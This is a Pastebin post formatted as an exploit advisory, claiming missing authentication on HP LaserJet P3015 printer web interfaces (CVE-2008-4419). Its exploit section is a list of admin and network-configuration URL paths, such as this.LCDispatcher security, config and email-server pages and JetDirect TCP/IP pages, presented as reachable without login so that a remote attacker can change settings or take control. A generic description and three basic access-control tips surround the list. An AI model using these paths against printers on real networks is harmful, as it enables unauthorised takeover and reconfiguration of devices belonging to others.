API tools faq
paste
KingSkrupellos

HP LaserJet P3015 Printers Bypass Missing Auth

KingSkrupellos
Apr 1st, 2019
92
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.84 KB | None | 0 0
raw download clone embed print report
  1. ############################################################################################
  2.  
  3. # Exploit Title : HP LaserJet P3015 Printers 6.7.0.x Bypass Missing Authentication
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 31/03/2019
  7. # Vendor Homepage : hp.com
  8. # Software Information Link :
  9. support.hp.com/us-en/drivers/selfservice/hp-laserjet-enterprise-p3015-printer-serie/3815798
  10. # Software Version :
  11. Driver-Universal Print Driver for Managed Services => Version 6.1.0.20062 and 6.7.0.23989
  12. Example Printer Model Number : CE528A - CE527A - CEXXXA
  13. Product Software Version : 20131115 07.171.2 - 20170106 07.250.2
  14. Firmware => Version 07.250.2 - 06.043.2
  15. Software Universal Printer Driver => Version 1.8.6
  16. Driver USB Version => 7.0.0.29
  17. # Tested On : Windows and Linux
  18. # Category : WebApps
  19. # Exploit Risk : High
  20. # CVE : CVE-2008-4419
  21. # Vulnerability Type : CWE-306 [ Missing Authentication for Critical Function ]
  22. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  23. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  24. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  25.  
  26. ############################################################################################
  27.  
  28. # Description about Software :
  29. ***************************
  30. HP LaserJet as a brand name identifies the line of dry electrophotographic DEP laser printers marketed by the American
  31.  
  32. computer company Hewlett-Packard (HP). The HP LaserJet was the world's first desktop laser printer.
  33.  
  34. ############################################################################################
  35.  
  36. # Impact :
  37. ***********
  38. The software does not perform any authentication for functionality that requires a provable user identity
  39.  
  40. or consumes a significant amount of resources.
  41.  
  42. The vulnerability allows a remote unauthenticated attacker to send specially crafted HTTP request to the
  43.  
  44. affected application and change configuration settings or gain administrative access.
  45.  
  46. Missing authentication for critical function is a language independent issue that can appear in any multiuser environment.
  47.  
  48. Developing a fix would require understanding of the current application security model and implemented access controls.
  49.  
  50. Three basic rules however can help you eliminate potential improper authorization issues:
  51.  
  52. 1) Identify all privileged assets within your application (web pages that display sensitive data,
  53. website sections that contain privileged/administrative functionality, etc.)
  54.  
  55. 2) Identify user roles within the application and their access permissions
  56.  
  57. 3) Always check if the user should have privileges to access the asset
  58.  
  59. ############################################################################################
  60.  
  61. # Bypass Missing Authentication Exploit / Vulnerability :
  62. *************************************************
  63. /hp/device/this.LCDispatcher
  64.  
  65. /hp/device/this.LCDispatcher?nav=hp.EmailServer
  66.  
  67. /hp/device/this.LCDispatcher?nav=hp.Alerts&subpage=1&lstid=-1
  68.  
  69. /hp/device/this.LCDispatcher?nav=hp.Alerts&subpage=3&lstid=1
  70.  
  71. /hp/device/this.LCDispatcher?nav=hp.Alerts
  72.  
  73. /hp/device/this.LCDispatcher?nav=hp.AutoSend
  74.  
  75. /hp/device/this.LCDispatcher?nav=hp.Security&fldPage=0
  76.  
  77. /hp/device/this.LCDispatcher?nav=hp.OtherLinks
  78.  
  79. /hp/device/this.LCDispatcher?nav=hp.Config
  80.  
  81. /hp/device/this.LCDispatcher?nav=hp.DeviceInfoConfig
  82.  
  83. /hp/jetdirect
  84.  
  85. /config_pro.htm
  86. /tcpipv6.htm
  87. /tcpipv4.htm
  88.  
  89. /tcp_param.htm
  90. /network_id.htm
  91.  
  92. /tcp_summary.htm
  93. /index_info.htm
  94.  
  95. /support_param.html
  96. /support.htm
  97.  
  98. /tcp_diag.htm
  99. /configpage.htm
  100.  
  101. /tcp_param.htm
  102. /network_id.htm
  103.  
  104. ############################################################################################
  105.  
  106. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  107.  
  108. ############################################################################################
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!